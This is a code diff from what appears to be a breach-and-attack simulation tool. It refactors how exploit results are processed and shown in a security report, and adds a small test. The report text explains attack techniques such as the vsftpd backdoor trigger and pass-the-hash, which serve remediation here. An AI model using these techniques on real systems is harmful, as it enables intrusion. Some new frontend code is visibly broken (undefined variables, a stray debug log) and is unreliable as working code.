def process_general_exploit(exploit): - ip_addr = exploit['data']['machine']['ip_addr'] - return {'machine': NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)), - 'ip_address': ip_addr} - - @staticmethod - def process_general_creds_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - - for attempt in exploit['data']['attempts']: - if attempt['result']: - processed_exploit['username'] = attempt['user'] - if attempt['password']: - processed_exploit['type'] = 'password' - processed_exploit['password'] = attempt['password'] - elif attempt['ssh_key']: - processed_exploit['type'] = 'ssh_key' - processed_exploit['ssh_key'] = attempt['ssh_key'] - else: - processed_exploit['type'] = 'hash' - return processed_exploit - return processed_exploit - - @staticmethod - def process_smb_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - if processed_exploit['type'] == 'password': - processed_exploit['type'] = 'smb_password' - else: - processed_exploit['type'] = 'smb_pth' - return processed_exploit - - @staticmethod - def process_wmi_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - if processed_exploit['type'] == 'password': - processed_exploit['type'] = 'wmi_password' - else: - processed_exploit['type'] = 'wmi_pth' - return processed_exploit - - @staticmethod - def process_ssh_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - # Check if it's ssh key or ssh login credentials exploit - if processed_exploit['type'] == 'ssh_key': - return processed_exploit - else: - processed_exploit['type'] = 'ssh' - return processed_exploit - - @staticmethod - def process_vsftpd_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'vsftp' - return processed_exploit - - @staticmethod - def process_sambacry_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'sambacry' - return processed_exploit - - @staticmethod - def process_elastic_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'elastic' - return processed_exploit - - @staticmethod - def process_conficker_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'conficker' - return processed_exploit - - @staticmethod - def process_shellshock_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'shellshock' - urls = exploit['data']['info']['vulnerable_urls'] - processed_exploit['port'] = urls[0].split(':')[2].split('/')[0] - processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] - return processed_exploit - - @staticmethod - def process_struts2_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'struts2' - return processed_exploit - - @staticmethod - def process_weblogic_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'weblogic' - return processed_exploit - - @staticmethod - def process_hadoop_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'hadoop' - return processed_exploit - - @staticmethod - def process_mssql_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'mssql' - return processed_exploit - - @staticmethod - def process_drupal_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'drupal' - return processed_exploit - - @staticmethod - def process_zerologon_exploit(exploit): - processed_exploit = ReportService.process_general_exploit(exploit) - processed_exploit['type'] = 'zerologon' - processed_exploit['password_restored'] = exploit['data']['info']['password_restored'] - return processed_exploit - - @staticmethod - def process_exploit(exploit): + def process_exploit(exploit) -> ExploiterReportInfo: exploiter_type = exploit['data']['exploiter'] - EXPLOIT_PROCESS_FUNCTION_DICT = { - 'SmbExploiter': ReportService.process_smb_exploit, - 'WmiExploiter': ReportService.process_wmi_exploit, - 'SSHExploiter': ReportService.process_ssh_exploit, - 'SambaCryExploiter': ReportService.process_sambacry_exploit, - 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, - 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, - 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit, - 'WebLogicExploiter': ReportService.process_weblogic_exploit, - 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit, - 'VSFTPDExploiter': ReportService.process_vsftpd_exploit, - 'DrupalExploiter': ReportService.process_drupal_exploit, - 'ZerologonExploiter': ReportService.process_zerologon_exploit - } - - return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) + exploiter_descriptor = ReportService.exploiter_descriptors[exploiter_type].value + processor = exploiter_descriptor.processor() + exploiter_info = processor.get_exploit_info_by_dict(exploiter_descriptor.class_name, exploit) + return exploiter_info @staticmethod def get_exploits(): @@ -585,7 +422,8 @@ def get_cross_segment_issues_per_subnet_group(scans, subnet_group): @staticmethod def get_cross_segment_issues(): scans = mongo.db.telemetry.find({'telem_category': 'scan'}, - {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1, 'data.machine.icmp': 1}) + {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1, + 'data.machine.icmp': 1}) cross_segment_issues = [] @@ -627,32 +465,6 @@ def get_machine_aws_instance_id(hostname): else: return None - @staticmethod - def get_issues(): - ISSUE_GENERATORS = [ - ReportService.get_exploits, - ReportService.get_tunnels, - ReportService.get_island_cross_segment_issues, - ReportService.get_azure_issues, - PTHReportService.get_duplicated_passwords_issues, - PTHReportService.get_strong_users_on_crit_issues - ] - - issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) - - issues_dict = {} - for issue in issues: - if issue.get('is_local', True): - machine = issue.get('machine').upper() - aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) - if machine not in issues_dict: - issues_dict[machine] = [] - if aws_instance_id: - issue['aws_instance_id'] = aws_instance_id - issues_dict[machine].append(issue) - logger.info('Issues generated for reporting') - return issues_dict - @staticmethod def get_manual_monkeys(): return [monkey['hostname'] for monkey in mongo.db.monkey.find({}, {'hostname': 1, 'parent': 1, 'guid': 1}) if @@ -677,8 +489,8 @@ def get_config_exploits(): if exploits == default_exploits: return ['default'] - return [ReportService.EXPLOIT_DISPLAY_DICT[exploit] for exploit in - exploits] + # TODO investigate strange code + return [exploit for exploit in exploits] @staticmethod def get_config_ips(): @@ -689,68 +501,37 @@ def get_config_scan(): return ConfigService.get_config_value(LOCAL_NETWORK_SCAN_PATH, True, True) @staticmethod - def get_issues_overview(issues, config_users, config_passwords): - issues_byte_array = [False] * len(ReportService.ISSUES_DICT) + def get_issue_set(issues, config_users, config_passwords): + issue_set = set() for machine in issues: for issue in issues[machine]: - if issue['type'] == 'elastic': - issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True - elif issue['type'] == 'sambacry': - issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True - elif issue['type'] == 'vsftp': - issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True - elif issue['type'] == 'shellshock': - issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True - elif issue['type'] == 'conficker': - issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True - elif issue['type'] == 'azure_password': - issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True - elif issue['type'] == 'ssh_key': - issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True - elif issue['type'] == 'struts2': - issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True - elif issue['type'] == 'weblogic': - issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True - elif issue['type'] == 'mssql': - issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True - elif issue['type'] == 'hadoop': - issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True - elif issue['type'] == 'drupal': - issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True - elif issue['type'] == 'zerologon': - if not issue['password_restored']: - issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON_PASSWORD_RESTORE_FAILED.value] = True - issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True - elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ - issue['username'] in config_users or issue['type'] == 'ssh': - issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True - elif issue['type'] == 'strong_users_on_crit': - issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True - elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): - issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True - - return issues_byte_array - - @staticmethod - def get_warnings_overview(issues, cross_segment_issues): - warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT) + # TODO check if this actually works, because stolen passwords get added to config + # so any password will be in config. We need to separate stolen passwords from initial + # passwords in config. + if ReportService._is_weak_credential_issue(issue, config_users, config_passwords): + issue_set.add(ReportService.DerivedIssueEnum.WEAK_PASSWORD) + elif ReportService._is_stolen_credential_issue(issue): + issue_set.add(ReportService.DerivedIssueEnum.STOLEN_CREDS) - for machine in issues: - for issue in issues[machine]: - if issue['type'] == 'island_cross_segment': - warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True - elif issue['type'] == 'tunnel': - warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True - elif issue['type'] == 'shared_admins': - warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True - elif issue['type'] == 'shared_passwords': - warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True + issue_set.add(issue['type']) - if len(cross_segment_issues) != 0: - warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True + return issue_set - return warnings_byte_array + @staticmethod + def _is_weak_credential_issue(issue: dict, config_usernames: List[str], config_passwords: List[str]) -> bool: + # Only credential exploiter issues have 'credential_type' + return 'credential_type' in issue and \ + issue['credential_type'] == CredentialType.PASSWORD.value and \ + issue['password'] in config_passwords and \ + issue['username'] in config_usernames + + @staticmethod + def _is_stolen_credential_issue(issue: dict) -> bool: + # Only credential exploiter issues have 'credential_type' + return 'credential_type' in issue and \ + (issue['credential_type'] == CredentialType.PASSWORD.value or + issue['credential_type'] == CredentialType.HASH.value) @staticmethod def is_report_generated(): @@ -780,8 +561,7 @@ def generate_report(): 'config_scan': ReportService.get_config_scan(), 'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"), 'monkey_duration': ReportService.get_monkey_duration(), - 'issues': ReportService.get_issues_overview(issues, config_users, config_passwords), - 'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues), + 'issues': ReportService.get_issue_set(issues, config_users, config_passwords), 'cross_segment_issues': cross_segment_issues }, 'glance': diff --git a/monkey/monkey_island/cc/services/reporting/test_report.py b/monkey/monkey_island/cc/services/reporting/test_report.py new file mode 100644 index 00000000000..9983371a4dd --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/test_report.py @@ -0,0 +1,51 @@ +import datetime +from copy import deepcopy + +from monkey_island.cc.services.reporting.report import ReportService + +NODE_DICT = { + 'id': '602f62118e30cf35830ff8e4', + 'label': 'WinDev2010Eval.mshome.net', + 'group': 'monkey_windows', + 'os': 'windows', + 'dead': True, + 'exploits': [{'result': True, + 'exploiter': 'DrupalExploiter', + 'info': {'display_name': 'Drupal Server', + 'started': datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + 'finished': datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + 'vulnerable_urls': [], + 'vulnerable_ports': [], + 'executed_cmds': []}, + 'attempts': [], + 'timestamp': datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + 'origin': 'MonkeyIsland : 192.168.56.1'}, + + {'result': True, + 'exploiter': 'ElasticGroovyExploiter', + 'info': {'display_name': 'Elastic search', + 'started': datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), + 'finished': datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), + 'vulnerable_urls': [], 'vulnerable_ports': [], 'executed_cmds': []}, + 'attempts': [], + 'timestamp': datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), + 'origin': 'MonkeyIsland : 192.168.56.1'}] +} + +NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_DUPLICATE_EXPLOITS['exploits'][1] = NODE_DICT_DUPLICATE_EXPLOITS['exploits'][0] + +NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_FAILED_EXPLOITS['exploits'][0]['result'] = False +NODE_DICT_FAILED_EXPLOITS['exploits'][1]['result'] = False + + +def test_get_exploits_used_on_node(): + exploits = ReportService.get_exploits_used_on_node(NODE_DICT) + assert sorted(exploits) == sorted(['ElasticGroovyExploiter', 'DrupalExploiter']) + + exploits = ReportService.get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS) + assert exploits == ['DrupalExploiter'] + + exploits = ReportService.get_exploits_used_on_node(NODE_DICT_FAILED_EXPLOITS) + assert exploits == [] diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index e3a1621eb01..bd5ae3a3009 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -5,7 +5,6 @@ import PostBreach from 'components/report-components/security/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, getOptions} from 'components/map/MapOptions'; import StolenPasswords from 'components/report-components/security/StolenPasswords'; -import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell'; import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; import StrongUsers from 'components/report-components/security/StrongUsers'; @@ -21,41 +20,141 @@ import {faMinus} from '@fortawesome/free-solid-svg-icons/faMinus'; import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; +import {generateSmbPasswordReport, generateSmbPthReport} from './security/issues/SmbIssue'; +import {Struts2IssueOverview, Struts2IssueReport} from './security/issues/Struts2Issue'; +import {WebLogicIssueOverview, WebLogicIssueReport} from './security/issues/WebLogicIssue'; +import {HadoopIssueOverview, HadoopIssueReport} from './security/issues/HadoopIssue'; +import {MssqlIssueOverview, MssqlIssueReport} from './security/issues/MssqlIssue'; +import {DrupalIssueOverview, DrupalIssueReport} from './security/issues/DrupalIssue'; +import {VsftpdIssueOverview, VsftpdIssueReport} from './security/issues/VsftpdIssue'; +import {generateWmiPasswordIssue, generateWmiPthIssue} from './security/issues/WmiIssue'; +import {ShhIssueReport, SshIssueOverview} from './security/issues/SshIssue'; +import {SambacryIssueOverview, SambacryIssueReport} from './security/issues/SambacryIssue'; +import {ElasticIssueOverview, ElasticIssueReport} from './security/issues/ElasticIssue'; +import {ShellShockIssueOverview, ShellShockIssueReport} from './security/issues/ShellShockIssue'; +import {MS08_067IssueOverview, MS08_067IssueReport} from './security/issues/MS08_067Issue'; +import { + crossSegmentIssueOverview, + generateCrossSegmentIssue +} from './security/issues/CrossSegmentIssue'; +import {sharedAdminsDomainIssueOverview, sharedPasswordsIssueOverview} from './security/issues/SharedPasswordsIssue'; +import {generateTunnelIssue, generateTunnelIssueOverview} from './security/issues/TunnelIssue'; class ReportPageComponent extends AuthComponent { - Issue = - { - WEAK_PASSWORD: 0, - STOLEN_CREDS: 1, - ELASTIC: 2, - SAMBACRY: 3, - SHELLSHOCK: 4, - CONFICKER: 5, - AZURE: 6, - STOLEN_SSH_KEYS: 7, - STRUTS2: 8, - WEBLOGIC: 9, - HADOOP: 10, - PTH_CRIT_SERVICES_ACCESS: 11, - MSSQL: 12, - VSFTPD: 13, - DRUPAL: 14, - ZEROLOGON: 15, - ZEROLOGON_PASSWORD_RESTORE_FAILED: 16 - }; + credentialTypes = { + PASSWORD: 'password', + HASH: 'hash', + KEY: 'key', + } - NotThreats = [this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]; + issueContentTypes = { + OVERVIEW: 'overview', + REPORT: 'report', + TYPE: 'type' + } + + issueTypes = { + WARNING: 'warning', + DANGER: 'danger' + } - Warning = + IssueDescriptorEnum = { - CROSS_SEGMENT: 0, - TUNNEL: 1, - SHARED_LOCAL_ADMIN: 2, - SHARED_PASSWORDS: 3, - SHARED_PASSWORDS_DOMAIN: 4 - }; + 'SmbExploiter': { + [this.issueContentTypes.REPORT]: { + [this.credentialTypes.PASSWORD]: generateSmbPasswordReport, + [this.credentialTypes.HASH]: generateSmbPthReport + }, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'Struts2Exploiter': { + [this.issueContentTypes.OVERVIEW]: Struts2IssueOverview, + [this.issueContentTypes.REPORT]: Struts2IssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'WebLogicExploiter': { + [this.issueContentTypes.OVERVIEW]: WebLogicIssueOverview, + [this.issueContentTypes.REPORT]: WebLogicIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'HadoopExploiter': { + [this.issueContentTypes.OVERVIEW]: HadoopIssueOverview, + [this.issueContentTypes.REPORT]: HadoopIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'MSSQLExploiter': { + [this.issueContentTypes.OVERVIEW]: MssqlIssueOverview, + [this.issueContentTypes.REPORT]: MssqlIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'DrupalExploiter': { + [this.issueContentTypes.OVERVIEW]: DrupalIssueOverview, + [this.issueContentTypes.REPORT]: DrupalIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'VSFTPDExploiter': { + [this.issueContentTypes.OVERVIEW]: VsftpdIssueOverview, + [this.issueContentTypes.REPORT]: VsftpdIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'WmiExploiter': { + [this.issueContentTypes.REPORT]: { + [this.credentialTypes.PASSWORD]: generateWmiPasswordIssue, + [this.credentialTypes.HASH]: generateWmiPthIssue + }, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'SSHExploiter': { + [this.issueContentTypes.OVERVIEW]: SshIssueOverview, + [this.issueContentTypes.REPORT]: ShhIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'SambaCryExploiter': { + [this.issueContentTypes.OVERVIEW]: SambacryIssueOverview, + [this.issueContentTypes.REPORT]: SambacryIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'ElasticGroovyExploiter': { + [this.issueContentTypes.OVERVIEW]: ElasticIssueOverview, + [this.issueContentTypes.REPORT]: ElasticIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'ShellShockExploiter': { + [this.issueContentTypes.OVERVIEW]: ShellShockIssueOverview, + [this.issueContentTypes.REPORT]: ShellShockIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'Ms08_067_Exploiter': { + [this.issueContentTypes.OVERVIEW]: MS08_067IssueOverview, + [this.issueContentTypes.REPORT]: MS08_067IssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, + 'island_cross_segment': { + [this.issueContentTypes.OVERVIEW]: crossSegmentIssueOverview, + [this.issueContentTypes.REPORT]: generateCrossSegmentIssue, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'tunnel': { + [this.issueContentTypes.OVERVIEW]: generateTunnelIssueOverview, + [this.issueContentTypes.REPORT]: generateTunnelIssue, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'shared_passwords': { + [this.issueContentTypes.OVERVIEW]: sharedPasswordsIssueOverview, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'shared_admins_domain': { + [this.issueContentTypes.OVERVIEW]: sharedAdminsDomainIssueOverview, + [this.issueContentTypes.TYPE]: this.issueTypes.WARNING + }, + 'shared_passwords_domain': {}, + 'strong_users_on_crit': {}, + 'azure_password': {}, + 'weak_password': {}, + 'stolen_creds': {} + } constructor(props) { super(props); @@ -92,6 +191,8 @@ class ReportPageComponent extends AuthComponent { render() { let content; + console.log(this.state.report); + if (this.stillLoadingDataFromServer()) { content = ; } else { @@ -239,156 +340,24 @@ class ReportPageComponent extends AuthComponent { } generateReportFindingsSection() { + let overviews = this.getPotentialSecurityIssuesOverviews() + return (

Security Findings

-
-

- Immediate Threats -

- { - this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length > 0 ? -
- During this simulated attack the Monkey uncovered - {this.getThreatCount()} - : -
    - {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] && -
  • Stolen SSH keys are used to exploit other machines.
  • } - {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] && -
  • Stolen credentials are used to exploit other machines.
  • } - {this.state.report.overview.issues[this.Issue.ELASTIC] && -
  • Elasticsearch servers are vulnerable to - . -
  • } - {this.state.report.overview.issues[this.Issue.VSFTPD] && -
  • VSFTPD is vulnerable to - . -
  • } - {this.state.report.overview.issues[this.Issue.SAMBACRY] && -
  • Samba servers are vulnerable to ‘SambaCry’ ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.SHELLSHOCK] && -
  • Machines are vulnerable to ‘Shellshock’ ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.CONFICKER] && -
  • Machines are vulnerable to ‘Conficker’ ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] && -
  • Machines are accessible using passwords supplied by the user during the Monkey’s - configuration.
  • } - {this.state.report.overview.issues[this.Issue.AZURE] && -
  • Azure machines expose plaintext passwords ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.STRUTS2] && -
  • Struts2 servers are vulnerable to remote code execution ( - ). -
  • } - {this.state.report.overview.issues[this.Issue.WEBLOGIC] && -
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • } - {this.state.report.overview.issues[this.Issue.HADOOP] && -
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • } - {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] && -
  • Mimikatz found login credentials of a user who has admin access to a server defined as - critical.
  • } - {this.state.report.overview.issues[this.Issue.MSSQL] && -
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • } - {this.state.report.overview.issues[this.Issue.DRUPAL] && -
  • Drupal servers are susceptible to a remote code execution vulnerability - (). -
  • - } - {this.generateZerologonOverview()} -
-
- : -
- During this simulated attack the Monkey uncovered 0 threats. -
- } -
+ {this.getImmediateThreats()}

Potential Security Issues

{ - this.state.report.overview.warnings.filter(function (x) { - return x === true; - }).length > 0 ? + overviews.length > 0 ?
The Monkey uncovered the following possible set of issues:
    - {this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ? -
  • Weak segmentation - Machines from different segments are able - to - communicate.
  • : null} - {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
  • Weak segmentation - Machines were able to communicate over unused - ports.
  • : null} - {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? -
  • Shared local administrator account - Different machines - have the same account as a local - administrator.
  • : null} - {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? -
  • Multiple users have the same password
  • : null} + {overviews}
: @@ -405,7 +374,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey uncovered the following set of segmentation issues:
    - {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))} + {this.state.report.overview.cross_segment_issues.map(x => generateCrossSegmentIssue(x))}
@@ -416,53 +385,40 @@ class ReportPageComponent extends AuthComponent { ); } - getThreatCount() { - let threatCount = this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length + getPotentialSecurityIssuesOverviews(){ + let overviews = []; - this.NotThreats.forEach(x => { - if (this.state.report.overview.issues[x] === true) { - threatCount -= 1; + for( let key of this.IssueDescriptorEnum) { + if(this.WARNING_ISSUE_LIST[i] in this.state.report.issues) { + overviews.push(this.IssueDescriptorEnum[this.WARNING_ISSUE_LIST[i]][this.issueContentTypes.OVERVIEW]) } - }); - - if (threatCount === 1) - return '1 threat' - else - return threatCount + ' threats' + } + return overviews; } - generateZerologonOverview() { - let zerologonOverview = []; - if (this.state.report.overview.issues[this.Issue.ZEROLOGON]) { - zerologonOverview.push(<> - Some Windows domain controllers are vulnerable to 'Zerologon' ( - ). - ) - } - if (this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]) { - zerologonOverview.push( -
- - Automatic password restoration on a domain controller failed! - -
) - } - else { - return null; - } - return (
  • {zerologonOverview}
  • ) + getImmediateThreats() { + return ( +
    +

    + Immediate Threats +

    +
    During this simulated attack the Monkey uncovered + { + this.state.report.overview.issues.length > 0 ? + <> + + {this.state.report.overview.issues.length} threats: + + + : + <> + 0 threats. + + } +
    +
    ) } generateReportRecommendationsSection() { @@ -558,578 +514,17 @@ class ReportPageComponent extends AuthComponent { ); } - generateInfoBadges(data_array) { - return data_array.map(badge_data => {badge_data}); - } - - generateCrossSegmentIssue(crossSegmentIssue) { - let crossSegmentIssueOverview = 'Communication possible from ' - + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`; - - return ( -
  • - {crossSegmentIssueOverview} - -
      - {crossSegmentIssue['issues'].map( - issue => this.generateCrossSegmentIssueListItem(issue) - )} -
    -
    -
  • - ); - } - - generateCrossSegmentIssueListItem(issue) { - if (issue['is_self']) { - return this.generateCrossSegmentSingleHostMessage(issue); - } - - return this.generateCrossSegmentMultiHostMessage(issue); - } - - generateCrossSegmentSingleHostMessage(issue) { - return ( -
  • - {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`} -
  • - ); - } - - generateCrossSegmentMultiHostMessage(issue) { - return ( -
  • - IP {issue['source']} ({issue['hostname']}) was able to communicate with - IP {issue['target']} using: -
      - {issue['icmp'] &&
    • ICMP
    • } - {this.generateCrossSegmentServiceListItems(issue)} -
    -
  • - ); - } - - generateCrossSegmentServiceListItems(issue) { - let service_list_items = []; - - for (const [service, info] of Object.entries(issue['services'])) { - service_list_items.push( -
  • - {service} ({info['display_name']}) -
  • - ); - } - - return service_list_items; - } - - generateShellshockPathListBadges(paths) { - return paths.map(path => {path}); - } - - generateSmbPasswordIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. -
    - The Monkey authenticated over the SMB protocol with user {issue.username} and its password. -
    - - ); - } - - generateSmbPthIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SMB attack. -
    - The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username}. -
    - - ); - } - - generateWmiPasswordIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. -
    - The Monkey authenticated over the WMI protocol with user {issue.username} and its password. -
    - - ); - } - - generateWmiPthIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a WMI attack. -
    - The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username}. -
    - - ); - } - - generateSshIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. -
    - The Monkey authenticated over the SSH protocol with user {issue.username} and its password. -
    - - ); - } - - generateSshKeysIssue(issue) { - return ( - <> - Protect {issue.ssh_key} private key with a pass phrase. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. -
    - The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. -
    - - ); - } - - - generateSambaCryIssue(issue) { - return ( - <> - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. -
    - Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SambaCry attack. -
    - The Monkey authenticated over the SMB protocol with user {issue.username} and its password, and used the SambaCry - vulnerability. -
    - - ); - } - - generateVsftpdBackdoorIssue(issue) { - return ( - <> - Update your VSFTPD server to the latest version vsftpd-3.0.3. - - The machine {issue.machine} ({issue.ip_address}) has a backdoor running at - port 6200. -
    - The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. -

    In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been - compromised. - Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a - command - shell on port 6200. -

    - The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the - backdoor - at port 6200. -

    Read more about the security issue and remediation here. -
    - - ); - } - - generateElasticIssue(issue) { - return ( - <> - Update your Elastic Search server to version 1.4.3 and up. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to an Elastic Groovy attack. -
    - The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. -
    - - ); - } - - generateShellshockIssue(issue) { - return ( - <> - Update your Bash to a ShellShock-patched version. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a ShellShock attack. -
    - The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the - paths: {this.generateShellshockPathListBadges(issue.paths)}. -
